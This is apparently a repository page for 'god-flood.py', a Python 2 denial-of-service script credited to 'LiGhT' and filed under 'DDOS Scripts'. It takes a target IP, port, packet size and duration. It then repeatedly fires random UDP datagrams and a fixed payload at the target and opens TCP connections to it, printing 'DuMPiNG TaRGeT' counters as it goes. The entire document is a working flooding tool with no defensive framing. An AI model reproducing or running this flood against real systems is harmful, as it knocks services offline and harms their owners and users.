Path: blob/master/DDOS Scripts/L4/TCP/god-flood.py
4565 views
#!/usr/bin/env python1# God-Flood by LiGhT2import socket, random, time, os, sys34if len(sys.argv) < 5:5print "God-Flood By LiGhT"6sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size> <time>")78ip = sys.argv[1]9port = int(sys.argv[2])10size = int(sys.argv[3])11t1m3 = int(sys.argv[4])12timeout = time.time() + t1m313sent = 014data = 'f1a525da11f6'.decode('hex')15while True:16try:17if time.time() > timeout:18break19else:20pass21udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)22syn = socket.socket()23s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)24if port == "0":25port = random.randrange(1, 65535)26s.connect((ip, port))27s.send(data)28bytes = random._urandom(size)29syn.connect((ip, port))30udp.sendto(bytes,(ip, port))31sent = sent + 132print "DuMPiNG TaRGeT: %s | PoRT: %s | SiZe: %s | TiMe: %s | PaCKeT: %s"%(ip, port, size, t1m3, sent)33#sys.stdout.write("\x1b]2;Total Packets Sent: %s\x07" % sent)34except KeyboardInterrupt:35print " Stopping Flood!"36sys.exit()37except socket.error, msg:38print "Socket Couldn't Connect"39sys.exit()4041